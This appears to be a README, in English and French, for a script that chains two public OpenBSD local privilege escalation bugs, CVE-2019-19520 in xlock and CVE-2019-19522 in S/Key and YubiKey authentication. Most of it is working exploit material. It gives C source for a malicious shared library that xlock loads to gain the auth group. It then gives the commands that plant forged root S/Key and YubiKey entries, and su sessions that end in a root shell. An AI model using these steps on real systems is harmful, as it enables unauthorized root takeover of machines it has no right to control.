
Script that automates the process of escalating privileges on openbsd system (CVE-2019-19520) by exploiting the xlock binary and againing it's sgid and escalating to the root user by (CVE-2019-19522) exploiting the privileges of auth group and adding keys to the Skey or Yubikey
Un script qui automatise le processus d'élévation de privilèges sur un système OpenBSD (CVE-2019-19520) en exploitant le binaire xlock et en récupérant son sgid, puis en s'élevant jusqu'à l'utilisateur root via (CVE-2019-19522) en exploitant les privilèges du groupe auth et en ajoutant des clés à Skey ou Yubikey
Le code C est en grande partie une copie du PoC original provenant de : https://www.openwall.com/lists/oss-security/2019/12/04/5
Sur OpenBSD, /usr/X11R6/bin/xlock est installé par défaut et a le set-group-ID "auth", pas le set-user-ID ; la vérification suivante est donc incomplète et devrait utiliser issetugid() à la place :
101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
Un attaquant local peut exploiter cette vulnérabilité et utiliser dlopen() sur son propre pilote pour obtenir les privilèges du groupe "auth" :
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>
static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
} EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
Maintenant que nous avons obtenu les privilèges du groupe auth, nous pouvons les exploiter en ajoutant nos propres clés root à Skey ou Yubikey
Si le type d'authentification S/Key ou YubiKey est activé (ils sont tous deux installés par défaut mais désactivés), alors un attaquant local peut exploiter les privilèges du groupe "auth" pour obtenir les pleins privilèges de l'utilisateur "root" (car login_skey et login_yubikey ne vérifient pas que les fichiers dans /etc/skey et /var/db/yubikey appartiennent au bon utilisateur, et ces répertoires sont tous deux accessibles en écriture par le groupe "auth").
(Remarque : pour obtenir les privilèges du groupe "auth", un attaquant local peut d'abord exploiter CVE-2019-19520 dans xlock.)
Si S/Key est activé (via skeyinit -E), un attaquant local disposant des privilèges "auth" peut ajouter une entrée S/Key (un fichier dans /etc/skey) pour l'utilisateur "root" (si ce fichier existe déjà, l'attaquant ne peut pas simplement le supprimer ou le renommer, car /etc/skey est collant (sticky) ; une solution de contournement simple existe, et est laissée en exercice au lecteur intéressé) :
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN
#id uid=0(root) gid=0(wheel) ...
Si YubiKey est activé (via login.conf), un attaquant local disposant des privilèges "auth" peut ajouter une entrée YubiKey (deux fichiers dans /var/db/yubikey) pour l'utilisateur "root" (si ces fichiers existent déjà, l'attaquant peut simplement les supprimer ou les renommer, car /var/db/yubikey n'est pas sticky) :
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul
#id uid=0(root) gid=0(wheel) ...